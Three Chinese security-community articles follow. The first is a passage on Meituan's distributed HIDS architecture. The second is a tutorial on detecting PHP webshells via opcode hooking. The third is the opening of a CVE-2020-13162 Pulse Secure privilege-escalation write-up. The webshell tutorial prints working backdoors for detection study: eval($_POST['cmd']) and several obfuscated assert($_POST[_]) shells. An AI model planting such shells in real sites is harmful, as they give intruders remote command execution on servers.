、`变更通知`等基本需求外，我们还有基于产品安全性上的考虑，比如`传输通道加密`、`用户权限控制`、`角色管理`、`基于Key的权限设定`等，这点
`etcd`比较符合我们要求。很多大型公司都在使用，比如`Kubernetes`、`AWS`、`OpenStack`、`Azure`、`Google
Cloud`、`Huawei Cloud`等，并且`etcd`的社区支持非常好。基于这几点因素，我们选择`etcd`作为HIDS的分布式集群管理。
### 选择etcd
对于etcd在项目中的应用，我们分别使用不同的API接口实现对应的业务需求，按照业务划分如下：
* Watch机制来实现配置变更下发，任务下发的实时获取机制。
* 脑裂问题在etcd中不存在，etcd集群的选举，只有投票达到 `N/2+1` 以上，才会选做Leader，来保证数据一致性。另外一个网络分区的Member节点将无主。
* 语言亲和性，也是Golang开发的，Client SDK库稳定可用。
* Key存储的数据结构支持范围性的Key操作。
* User、Role权限设定不同读写权限，来控制Key操作，避免其他客户端修改其他Key的信息。
* TLS来保证通道信息传递安全。
* Txn分布式事务API配合Compare API来确定主机上线的Key唯一性。
* Lease租约机制，过期Key释放，更好的感知主机下线信息。
* etcd底层Key的存储为BTree结构，查找时间复杂度为O（㏒n），百万级甚至千万级Key的查找耗时区别不大。
### etcd Key的设计
前缀按角色设定：
* Server配置下发使用 `/hids/server/config/{hostname}/master`。
* Agent注册上线使用 `/hids/agent/master/{hostname}`。
* Plugin配置获取使用 `/hids/agent/config/{hostname}/plugin/ID/conf_name`。
Server Watch `/hids/server/config/{hostname}/master`，实现Agent主机上线的瞬间感知。Agent
Watch `/hids/server/config/{hostname}/`来获取配置变更，任务下发。Agent注册的Key带有Lease
Id，并启用keepalive，下线后瞬间感知。 （异常下线，会有1/3的keepalive时间延迟）
关于Key的权限，根据不同前缀，设定不同Role权限。赋值给不同的User，来实现对Key的权限控制。
### etcd集群管理
在etcd节点容灾考虑，考虑DNS故障时，节点会选择部署在多个城市，多个机房，以我们服务器机房选择来看，在大部分机房都有一个节点，综合承载需求，我们选择了N台服务器部署在个别重要机房，来满足负载、容灾需求。但对于etcd这种分布式一致性强的组件来说，每个写操作都需要`N/2-1`的节点确认变更，才会将写请求写入数据库中，再同步到各个节点，那么意味着节点越多，需要确认的网络请求越多，耗时越多，反而会影响集群节点性能。这点，我们后续将提升单个服务器性能，以及牺牲部分容灾性来提升集群处理速度。
客户端填写的IP列表，包含域名、IP。IP用来规避DNS故障，域名用来做Member节点更新。最好不要使用Discover方案，避免对内网DNS服务器产生较大压力。
同时，在配置etcd节点的地址时，也要考虑到内网DNS故障的场景，地址填写会混合IP、域名两种形式。
1. IP的地址，便于规避内网DNS故障。
2. 域名形式，便于做个别节点更替或扩容。
我们在设计产品架构时，为了安全性，开启了TLS证书认证，当节点变更时，证书的生成也同样要考虑到上面两种方案的影响，证书里需要包含固定IP，以及DNS域名范围的两种格式。
**etcd Cluster节点扩容**
节点扩容，官方手册上也有完整的方案，etcd的Client里实现了健康检测与故障迁移，能自动的迁移到节点IP列表中的其他可用IP。也能定时更新etcd
Node List，对于etcd Cluster的集群节点变更来说，不存在问题。需要我们注意的是，TLS证书的兼容。
## 分布式HIDS集群架构图
集群核心组件高可用，所有Agent、Server都依赖集群，都可以无缝扩展，且不影响整个集群的稳定性。即使Server全部宕机，也不影响所有Agent的继续工作。
在以后Server版本升级时，Agent不会中断，也不会带来雪崩式的影响。etcd集群可以做到单节点升级，一直到整个集群升级，各个组件全都解耦。
## 编程语言选择
考虑到公司服务器量大，业务复杂，需求环境多变，操作系统可能包括各种Linux以及Windows等。为了保证系统的兼容性，我们选择了Golang作为开发语言，它具备以下特点：
1. 可以静态编译，直接通过syscall来运行，不依赖libc，兼容性高，可以在所有Linux上执行，部署便捷。
2. 静态编译语言，能将简单的错误在编译前就发现。
3. 具备良好的GC机制，占用系统资源少，开发成本低。
4. 容器化的很多产品都是Golang编写，比如Kubernetes、Docker等。
5. etcd项目也是Golang编写，类库、测试用例可以直接用，SDK支持快速。
6. 良好的CSP并发模型支持，高效的协程调度机制。
### 产品架构大方向
HIDS产品研发完成后，部署的服务都运行着各种业务的服务器，业务的重要性排在第一，我们产品的功能排在后面。为此，确定了几个产品的大方向：
* 高可用，数据一致，可横向扩展。
* 容灾性好，能应对机房级的网络故障。
* 兼容性好，只维护一个版本的Agent。
* 依赖低，不依赖任何动态链接库。
* 侵入性低，不做Hook，不做系统类库更改。
* 熔断降级可靠，宁可自己挂掉，也不影响业务 。
## 产品实现
篇幅限制，仅讨论`框架设计`、`熔断限流`、`监控告警`、`自我恢复`以及产品实现上的`主进程`与`进程监控`。
### 框架设计
如上图，在框架的设计上，封装常用类库，抽象化定义`Interface`，剥离`etcd
Client`，全局化`Logger`，抽象化App的启动、退出方法。使得各`模块`（以下简称`App`）只需要实现自己的业务即可，可以方便快捷的进行逻辑编写，无需关心底层实现、配置来源、重试次数、熔断方案等等。
**沙箱隔离**
考虑到子进程不能无限的增长下去，那么必然有一个进程包含多个模块的功能，各`App`之间既能使用公用底层组件（`Logger`、`etcd
Client`等），又能让彼此之间互不影响，这里进行了`沙箱化`处理，各个属性对象仅在各`App`的`sandbox`里生效。同样能实现了`App`进程的`性能熔断`，停止所有的业务逻辑功能，但又能具有基本的`自我恢复`功能。
**IConfig**
对各App的配置抽象化处理，实现IConfig的共有方法接口，用于对配置的函数调用，比如`Check`的检测方法，检测配置合法性，检测配置的最大值、最小值范围，规避使用人员配置不在合理范围内的情况，从而避免带来的风险。
框架底层用`Reflect`来处理JSON配置，解析读取填写的配置项，跟Config对象对比，填充到对应`Struct`的属性上，允许JSON配置里只填写变化的配置，没填写的配置项，则使用`Config`对应`Struct`的默认配置。便于灵活处理配置信息。
type IConfig interface {
Check() error //检测配置合法性
}
func ConfigLoad(confByte []byte, config IConfig) (IConfig, error) {
...
//反射生成临时的IConfig
var confTmp IConfig
confTmp = reflect.New(reflect.ValueOf(config).Elem().Type()).Interface().(IConfig)
...
//反射 confTmp 的属性
confTmpReflect := reflect.TypeOf(confTmp).Elem()
confTmpReflectV := reflect.ValueOf(confTmp).Elem()
//反射config IConfig
configReflect := reflect.TypeOf(config).Elem()
configReflectV := reflect.ValueOf(config).Elem()
...
for i = 0; i < num; i++ {
//遍历处理每个Field
envStructTmp := configReflect.Field(i)
//根据配置中的项，来覆盖默认值
if envStructTmp.Type == confStructTmp.Type {
configReflectV.FieldByName(envStructTmp.Name).Set(confTmpReflectV.Field(i))
**Timer、Clock调度**
在业务数据产生时，很多地方需要记录时间，时间的获取也会产生很多系统调用。尤其是在每秒钟产生成千上万个事件，这些事件都需要调用`获取时间`接口，进行`clock_gettime`等系统调用，会大大增加系统CPU负载。
而很多事件产生时间的准确性要求不高，精确到秒，或者几百个毫秒即可，那么框架里实现了一个颗粒度符合需求的（比如100ms、200ms、或者1s等）间隔时间更新的时钟，即满足事件对时间的需求，又减少了系统调用。
同样，在有些`Ticker`场景中，`Ticker`的间隔颗粒要求不高时，也可以合并成一个`Ticker`，减少对CPU时钟的调用。
**Catcher**
在多协程场景下，会用到很多协程来处理程序，对于个别协程的panic错误，上层线程要有一个良好的捕获机制，能将协程错误抛出去，并能恢复运行，不要让进程崩溃退出，提高程序的稳定性。
**抽象接口**
框架底层抽象化封装Sandbox的Init、Run、Shutdown接口，规范各App的对外接口，让App的初始化、运行、停止等操作都标准化。App的模块业务逻辑，不需要关注PID文件管理，不关注与集群通讯，不关心与父进程通讯等通用操作，只需要实现自己的业务逻辑即可。App与框架的统一控制，采用Context包以及Sync.Cond等条件锁作为同步控制条件，来同步App与框架的生命周期，同步多协程之间同步，并实现App的安全退出，保证数据不丢失。
### 限流
**网络IO**
* 限制数据上报速度。
* 队列存储数据任务列表。
* 大于队列长度数据丢弃。
* 丢弃数据总数计数。
* 计数信息作为心跳状态数据上报到日志中心，用于数据对账。
**磁盘IO**
程序运行日志，对日志级别划分，参考 `/usr/include/sys/syslog.h`：
* LOG_EMERG
* LOG_ALERT
* LOG_CRIT
* LOG_ERR
* LOG_WARNING
* LOG_NOTICE
* LOG_INFO
* LOG_DEBUG
在代码编写时，根据需求选用级别。级别越低日志量越大，重要程度越低，越不需要发送至日志中心，写入本地磁盘。那么在异常情况排查时，方便参考。
日志文件大小控制，分2个文件，每个文件不超过固定大小，比如`20M`、`50M`等。并且，对两个文件进行来回写，避免日志写满磁盘的情况。
**IRetry**
为了加强Agent的鲁棒性，不能因为某些RPC动作失败后导致整体功能不可用，一般会有重试功能。Agent跟etcd
Cluster也是TCP长连接（HTTP2），当节点重启更换或网络卡顿等异常时，Agent会重连，那么重连的频率控制，不能是死循环般的重试。假设服务器内网交换机因内网流量较大产生抖动，触发了Agent重连机制，不断的重连又加重了交换机的负担，造成雪崩效应，这种设计必须要避免。
在每次重试后，需要做一定的回退机制，常见的`指数级回退`，比如如下设计，在规避雪崩场景下，又能保障Agent的鲁棒性，设定最大重试间隔，也避免了Agent失控的问题。
//网络库重试Interface
type INetRetry interface {
//开始连接函数
Connect() error
String() string
//获取最大重试次数
GetMaxRetry() uint
...
}
// 底层实现
func (this *Context) Retry(netRetry INetRetry) error {
...
maxRetries = netRetry.GetMaxRetry() //最大重试次数
hashMod = netRetry.GetHashMod()
for {
if c.shutting {
return errors.New("c.shutting is true...")
}
if maxRetries > 0 && retries >= maxRetries {
c.logger.Debug("Abandoning %s after %d retries.", netRetry.String(), retries)
return errors.New("超过最大重试次数")
}
...
if e := netRetry.Connect(); e != nil {
delay = 1 << retries
if delay == 0 {
delay = 1
}
delay = delay * hashInterval
...
c.logger.Emerg("Trying %s after %d seconds , retries:%d,error:%v", netRetry.String(), delay, retries, e)
time.Sleep(time.Second * time.Duration(delay))
}
...
}
**事件拆分**
百万台IDC规模的Agent部署，在任务执行、集群通讯或对宿主机产生资源影响时，务必要错峰进行，根据每台主机的唯一特征取模，拆分执行，避免造成雪崩效应。
### 监控告警
古时候，行军打仗时，提倡「兵马未动，粮草先行」，无疑是冷兵器时代决定胜负走向的重要因素。做产品也是，尤其是大型产品，要对自己运行状况有详细的掌控，做好监控告警，才能确保产品的成功。
对于etcd集群的监控，组件本身提供了`Metrics`数据输出接口，官方推荐了[Prometheus](https://prometheus.io/)来采集数据，使用[Grafana](https://grafana.com/)来做聚合计算、图标绘制，我们做了`Alert`的接口开发，对接了公司的告警系统，实现IM、短信、电话告警。
**Agent数量感知，依赖Watch数字，实时准确感知。**
如下图，来自产品刚开始灰度时的某一时刻截图，Active Streams（即etcd
Watch的Key数量）即为对应Agent数量，每次灰度的产品数量。因为该操作，是Agent直接与集群通讯，并且每个Agent只Watch一个Key。且集群数据具备唯一性、一致性，远比心跳日志的处理要准确的多。
**etcd集群Members之间健康状况监控**
用于监控管理etcd集群的状况，包括`Member`节点之间数据同步，Leader选举次数，投票发起次数，各节点的内存申请状况，GC情况等，对集群的健康状况做全面掌控。
**程序运行状态监控告警**
全量监控Aagent的资源占用情况，统计每天使用最大CPU\内存的主机Agent，确定问题的影响范围，及时做策略调整，避免影响到业务服务的运行。并在后续版本上逐步做调整优化。
百万台服务器，日志告警量非常大，这个级别的告警信息的筛选、聚合是必不可少的。减少无用告警，让研发运维人员疲于奔命，也避免无用告警导致研发人员放松了警惕，前期忽略个例告警，先解决主要矛盾。
* 告警信息分级，告警信息细分ID。
* 根据告警级别过滤，根据告警ID聚合告警，来发现同类型错误。
* 根据告警信息的所在机房、项目组、产品线等维度来聚合告警，来发现同类型错误。
**数据采集告警**
* 单机数据数据大小、总量的历史数据对比告警。
* 按机房、项目组、产品线等维度的大小、总量等维度的历史数据对比告警。
* 数据采集大小、总量的对账功能，判断经过一系列处理流程的日志是否丢失的监控告警。
### 熔断
* 针对单机Agent使用资源大小的阈值熔断，CPU使用率，连续N次触发大于等于5%，则进行保护性熔断，退出所有业务逻辑，以保护主机的业务程序优先。
* Master进程进入空闲状态，等待第二次时间`Ticker`到来，决定是否恢复运行。
* 各个App基于业务层面的监控熔断策略。
### 灰度管理
在前面的`配置管理`中的`etcd
Key`设计里，已经细分到每个主机（即每个Agent）一个Key。那么，服务端的管理，只要区分该主机所属机房、环境、群组、产品线即可，那么，我们的管理Agent的颗粒度可以精确到每个主机，也就是支持任意纬度的灰度发布管理与命令下发。
### 数据上报通道
组件名为 `log_agent` ，是公司内部统一日志上报组件，会部署在每一台VM、Docker上。主机上所有业务均可将日志发送至该组件。
`log_agent`会将日志上报到Kafka集群中，经过处理后，落入Hive集群中。（细节不在本篇讨论范围）
### 主进程
主进程实现跟etcd集群通信，管理整个Agent的配置下发与命令下发；管理各个子模块的启动与停止；管理各个子模块的CPU、内存占用情况，对资源超标进行进行熔断处理，让出资源，保证业务进程的运行。
插件化管理其他模块，多进程模式，便于提高产品灵活性，可更简便的更新启动子模块，不会因为个别模块插件的功能、BUG导致整个Agent崩溃。
### 进程监控
**方案选择**
我们在研发这产品时，做了很多关于`linux进程创建监控`的调研，不限于`安全产品`，大约有下面三种技术方案：
方案 | Docker兼容性 | 开发难度 | 数据准确性 | 系统侵入性
---|---|---|---|---
cn_proc | 不支持Docker | 一般 | 存在内核拿到的PID，在`/proc/`下丢失的情况 | 无
Audit | 不支持Docker | 一般 | 同cn_proc | 弱，但依赖Auditd |
Hook | 定制 | 高 | 精确 | 强
对于公司的所有服务器来说，几十万台都是已经在运行的服务器，新上的任何产品，都尽量避免对服务器有影响，更何况是所有服务器都要部署的Agent。
意味着我们在选择`系统侵入性`来说，优先选择`最小侵入性`的方案。
对于`Netlink`的方案原理，可以参考这张图（来自:[kernel-proc-connector-and-containers](https://www.slideshare.net/kerneltlv/kernel-proc-connector-and-containers)）
**系统侵入性比较**
* `cn_proc`跟`Autid`在「系统侵入性」和「数据准确性」来说，`cn_proc`方案更好，而且使用CPU、内存等资源情况，更可控。
* `Hook`的方案，对系统侵入性太高了，尤其是这种最底层做HOOK syscall的做法，万一测试不充分，在特定环境下，有一定的概率会出现Bug，而在百万IDC的规模下，这将成为大面积事件，可能会造成重大事故。
**兼容性上比较**
* `cn_proc`不兼容Docker，这个可以在宿主机上部署来解决。
* `Hook`的方案，需要针对每种Linux的发行版做定制，维护成本较高，且不符合长远目标（收购外部公司时遇到各式各样操作系统问题）
**数据准确性比较**
在大量PID创建的场景，比如Docker的宿主机上，内核返回PID时，因为PID返回非常多非常快，很多进程启动后，立刻消失了，另外一个线程都还没去读取`/proc/`，进程都丢失了，场景常出现在Bash执行某些命令。
最终，我们选择`Linux Kernel
Netlink接口的cn_proc指令`作为我们进程监控方案，借助对Bash命令的收集，作为该方案的补充。当然，仍然存在丢数据的情况，但我们为了系统稳定性，产品侵入性低等业务需求，牺牲了一些安全性上的保障。
对于Docker的场景，采用宿主机运行，捕获数据，关联到Docker容器，上报到日志中心的做法来实现。
**遇到的问题**
**内核Netlink发送数据卡住**
内核返回数据太快，用户态`ParseNetlinkMessage`解析读取太慢，导致用户态网络Buff占满，内核不再发送数据给用户态，进程空闲。对于这个问题，我们在用户态做了队列控制，确保解析时间的问题不会影响到内核发送数据。对于队列的长度，我们做了定值限制，生产速度大于消费速度的话，可以丢弃一些数据，来保证业务正常运行，并且来控制进程的内存增长问题。
**疑似“内存泄露”问题**
在一台Docker的宿主机上，运行了50个Docker实例，每个Docker都运行了复杂的业务场景，频繁的创建进程，在最初的产品实现上，启动时大约10M内存占用，一天后达到200M的情况。
经过我们Debug分析发现，在`ParseNetlinkMessage`处理内核发出的消息时，PID频繁创建带来内存频繁申请，对象频繁实例化，占用大量内存。同时，在Golang
GC时，扫描、清理动作带来大量CPU消耗。在代码中，发现对于 **linux/connector.h** 里的`struct cb_msg`、
**linux/cn_proc.h** 里的`struct
proc_event`结构体频繁创建，带来内存申请等问题，以及Golang的GC特性，内存申请后，不会在GC时立刻归还操作系统，而是在后台任务里，逐渐的归还到操作系统，见：[debug.FreeOSMemory](https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99)
> FreeOSMemory forces a garbage collection followed by an
> attempt to return as much memory to the operating system
> as possible. (Even if this is not called, the runtime gradually
> returns memory to the operating system in a background task.)
但在这个业务场景里，大量频繁的创建PID，频繁的申请内存，创建对象，那么申请速度远远大于释放速度，自然内存就一直堆积。
从文档中可以看出，`FreeOSMemory`的方法可以将内存归还给操作系统，但我们并没有采用这种方案，因为它治标不治本，没法解决内存频繁申请频繁创建的问题，也不能降低CPU使用率。
为了解决这个问题，我们采用了`sync.Pool`的内置对象池方式，来复用回收对象，避免对象频繁创建，减少内存占用情况，在针对几个频繁创建的对象做对象池化后，同样的测试环境，内存稳定控制在15M左右。
大量对象的复用，也减少了对象的数量，同样的，在Golang GC运行时，也减少了对象的扫描数量、回收数量，降低了CPU使用率。
## 项目进展
在产品的研发过程中，也遇到了一些问题，比如：
1. etcd Client Lease Keepalive的Bug。
2. Agent进程资源限制的Cgroup触发几次内核Bug。
3. Docker宿主机上瞬时大量进程创建的性能问题。
4. 网络监控模块在处理Nginx反向代理时，动辄几十万TCP链接的网络数据获取压力。
5. 个别进程打开了10W以上的fd。
方法一定比困难多，但方法不是拍脑袋想出来的，一定要深入探索问题的根本原因，找到系统性的修复方法，具备高可用、高性能、监控告警、熔断限流等功能后，对于出现的问题，能够提前发现，将故障影响最小化，提前做处理。在应对产品运营过程中遇到的各种问题时，逢山开路，遇水搭桥，都可以从容的应对。
经过我们一年的努力，已经部署了除了个别特殊业务线之外的其他所有服务器，数量达几十万台，产品稳定运行。在数据完整性、准确性上，还有待提高，在精细化运营上，需要多做改进。
本篇更多的是研发角度上软件架构上的设计，关于安全事件分析、数据建模、运营策略等方面的经验和技巧，未来将会由其他同学进行分享，敬请期待。
## 总结
我们在研发这款产品过程中，也看到了网上开源了几款同类产品，也了解了他们的设计思路，发现很多产品都是把主要方向放在了单个模块的实现上，而忽略了产品架构上的重要性。
比如，有的产品使用了`syscall
hook`这种侵入性高的方案来保障数据完整性，使得对系统侵入性非常高，Hook代码的稳定性，也严重影响了操作系统内核的稳定。同时，Hook代码也缺少了监控熔断的措施，在几十万服务器规模的场景下部署，潜在的风险可能让安全部门无法接受，甚至是致命的。
这种设计，可能在服务器量级小时，对于出现的问题多花点时间也能逐个进行维护，但应对几十万甚至上百万台服务器时，对维护成本、稳定性、监控熔断等都是很大的技术挑战。同时，在研发上，也很难实现产品的快速迭代，而这种方式带来的影响，几乎都会导致内核宕机之类致命问题。这种事故，使用服务器的业务方很难进行接受，势必会影响产品的研发速度、推进速度；影响同事（SRE运维等）对产品的信心，进而对后续产品的推进带来很大的阻力。
以上是笔者站在研发角度，从可用性、可靠性、可控性、监控熔断等角度做的架构设计与框架设计，分享的产品研发思路。
笔者认为大规模的服务器安全防护产品，首先需要考虑的是架构的稳定性、监控告警的实时性、熔断限流的准确性等因素，其次再考虑安全数据的完整性、检测方案的可靠性、检测模型的精确性等因素。
九层之台，起于累土。只有打好基础，才能运筹帷幄，决胜千里之外。
## 参考资料
1. <https://en.wikipedia.org/wiki/CAP_theorem>
2. <https://www.consul.io/intro/vs/serf.html>
3. <https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99>
4. <https://www.ibm.com/developerworks/cn/linux/l-connector/>
5. <https://www.kernel.org/doc/>
6. <https://coreos.com/etcd/docs/latest/>
## 作者简介
[陈驰](https://www.cnxct.com/)，美团点评技术专家，2017年加入美团，十年以上互联网产品研发经验，专注于分布式系统架构设计，目前主要从事安全防御产品研发工作。
## 关于美团安全
美团安全部的大多数核心开发人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。
目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层（JVM/JS
V8）、Web应用层、数据访问层等，并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。
随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
## 招聘信息
美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们，欢迎简历请发至邮箱[[email protected]](mailto:[email protected])
具体职位信息可参考这里：<https://mp.weixin.qq.com/s/ynEq5LqQ2uBcEaHCu7Tsiw>
美团安全应急响应中心MTSRC主页：[security.meituan.com](https://security.meituan.com) | 社区文章 |
# 通过PHP扩展实现Webshell识别（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 因为要写的东西有点多，并且牵涉到的知识对我也比较有挑战，所以我会分成几个小节来写，第一个小节我主要是谈一下大体的思路和一些必备的知识，不会涉及到过多的语言细节。
## 前言
之前线下赛的时候被官方隐藏的后门给坑过许多次，基本都是非常自信的拿rips扫了一下就放下心来，结果阴沟里翻船。
所以在翻了许多次船之后，想到了通过编写PHP扩展来实现Webshell的识别。当然，这篇在线下赛的意义可能不大（权限应该是不够的），因为对于这部分的东西，我也是一边学一边记录，所以可能会有一些出错的地方，还请理解。
## Webshell攻击方式
在具体谈到如何实现识别Webshell之前，先来看看常用的Webshell是如何完成攻击的。
最耿直的shell便是这种格式：
<?php @eval($_POST['cmd']);?>
通过POST方法传入的cmd参数，会经过eval函数执行，如果此时传入的cmd参数值为system(‘ls’); ，则会执行ls的命令，进而浏览目录信息。
稍微复杂一点也无非是再经过编码、加密、回调或者使用匿名函数等其他方法来伪装自身，像p师傅之前有一篇博客里面写的使用数字和字母来编写Webshell这种，本质上仍然是对自己进行伪装。比如p师傅的三种shell：
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
而有关这方面的更具体的东西，因为并不是我们这篇文章要讨论的主要方面，因此不再多提，有兴趣可以看看p师傅的博客：<https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html>
Webshell为了执行命令，最终都会去调用system,eval这一类的函数。因此在正常情况下，我们编写的waf便是通过检测关键字来识别Webshell，而waf越强，识别能力也就越强，这是目前最流行的做法。
但是在使用PHP扩展时，我们可以换个思路来进行识别。
## 基础知识
### php的执行流程
PHP执行一段代码时，会分做几个阶段来依次完成，这里我使用Laruence总结的:
> 1.Scanning(Lexing) ,将PHP代码转换为语言片段(Tokens)
>
> 2.Parsing, 将Tokens转换成简单而有意义的表达式
>
> 3.Compilation, 将表达式编译成Opocdes
>
> 4.Execution, 顺次执行Opcodes，每次一条，从而实现PHP脚本的功能。
可以看到，PHP在执行代码时，Lex会先完成词法分析，将代码分成一个个的“块”，如果想看词法分析的结果，可以通过get_token_all()来获得词法分析的结果。
随后便是第二步，在这一步中，将上面得到的一个个“块”转换为表达式。
这里要插一个知识点，opcode是计算机指令的一部分，在PHP中，opcode就是Zend虚拟机中的指令。
在PHP中，opcode表示如下：
struct _zend_op {
opcode_handler_t handler; // 执行该opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode; // opcode代码
};
第三步编译则是将一个个的“块”编译成opcode保存在op_array中。
最后一步便是依次执行这些opcode。
这就是为什么PHP看起来并不需要像C语言一样先编译再运行的原因，PHP是经过了解释器执行源码这个过程的。
但是实时编译对于性能的影响比较大，因此在开启了APC扩展后，PHP会通过重用缓存opcode以提升运行效率。类似的还有python的pyc/pyo，Jvav的JVM，以避免重复编译带来的性能损失。
### PHP危险函数调用
在进行函数调用时，需要函数的一些基本信息，比如函数名称，函数参数，函数定义等等。
在这里，为了方便分析用户定义函数和PHP内置函数之间的区别，取个巧，将函数分为两类，一类是内部函数，一类是用户函数。
两者之间的区别通过名称便可以很方便的发现。内部函数是用C语言实现的，但是并不是原生态的C语言，而是经过封装的，比如PHP扩展中不会使用printf()函数，而是使用经过封装处理php_printf()函数。而用户函数则是用户自定义的函数。
接着上面所说到的，内部函数在进行调用时，扩展是可以知道代码执行细节的，因此如何hook也就变得很明了了。接下来需要思考的，就是更细节的东西了。
我们在进行hook的时候，该如何判断是不是危险函数呢？比如如何判断system函数，eval函数等等。如果要细致讨论的话，我们需要再去深入了解一下opcode的相关知识。
我们先给出几段php代码：
<?php
$a='123';
echo $a;
?>
使用php的vld扩展可以查看其opcode，如下：
再看看使用eval时的opcode情况：
<?php
eval("$a='123'; echo $a; ");
?>
opcode如下：
再给个system函数的例子：
<?php
eval("system('ls');");
?>
opcode如下:
可以看到，eval函数是经过了一层固定的调用的，而system函数则是通过DO_FCALL调用。而echo则是直接调用的ECHO。
此时我们再看看用户函数的opcode是如何组成的：
<?php
<?php
function test(){
echo 123;
echo 456;
echo 789;
}
test();
?>
opcode如下：
可以看出用户函数是将语句逐条翻译成opcode，然后依次执行的。
从用户函数与内部函数这两者之间的比较，可以发现，即使是Webshell将eval类的函数隐藏在混淆或者加密过的函数中，最终仍然会调用EXT_FCALL_BEGIN
*******，EVAL格式的语句。
同理，在Webshell进行最后一步调用system此类内部函数时，也是会调用某些具有固定格式的语句，比如DO_FCALL
‘system’此类格式的语句，因此这两种函数都是可以通过PHP扩展来进行识别的，而不需要去通过正则或者关键词匹配识别的方法。
我们现在大概理清楚了使用PHP编写的Webshell执行的大概流程，剩下的要做就是在eval此类危险函数即将调用时，将之hook掉。
最后给出eval函数的实现，大家可以想一下如何去hook住eval，实现代码EVAL在Zend/zend_vm_def.h:
case ZEND_EVAL: {
char *eval_desc = zend_make_compiled_string_description("eval()'d code" TSRMLS_CC);
new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC);
efree(eval_desc);
}
break;
下一篇我主要想分析一下如何拦截常用的Webshell函数，比如system，shell_exec等。大家有什么意见也希望可以说一下。 | 社区文章 |
# CVE-2020-13162：Pulse Secure Windows客户端TOCTOU权限提升漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 redtimmy，文章来源：redtimmy.com
原文地址：<https://www.redtimmy.com/privilege-escalation/pulse-secure-client-for-windows-9-1-6-toctou-privilege-escalation-cve-2020-13162/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
随着新冠病毒大肆流行，我们观察到企业大量部署配置允许员工在家中工作。快速识别这些部署的基础设施组件中的漏洞已成为许多企业的首要任务。因此，好心的Red
Timmy认为：“在经历这段艰难时期的同时，最好能消灭一些0day”。
我们仔细评估了手头上的选择，决定对Pulse Secure
VPN客户端进行深入检查。为什么呢？除了因为该VPN在财富500强市场中有庞大的装机量，还因为许多中型公司都采用Pulse
Secure的产品。试想一下，一家企业向其员工分发笔记本电脑，他们可以用笔记本电脑通过VPN远程连接到公司的基础设施，并在家中舒适地工作。当然，对这些笔记本电脑上运行的操作系统进行了加固，禁止随意安装软件或者禁用防病毒软件或其他监视/安全程序，往大了说，是避免员工执行通常需要管理员权限的任何操作。
现在，假设一名员工（可能是恶意的内部人员）在与公司VPN网络建立连接之前或之后，在某台笔记本电脑提权为“`NT_AUTHORITYSYSTEM`”，并且安全措施、配置和软件被禁用或篡改，可能无限制地在系统中安装任何程序或隐藏黑客工具，以降低安全部门的威胁检测和识别能力。后果有多糟？这就是我们今天将要讨论的Pulse
Secure客户端上的漏洞（在厂商修复之前）所能导致的后果。我们已经为此漏洞注册了编号[CVE-2020-13162](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13162)。
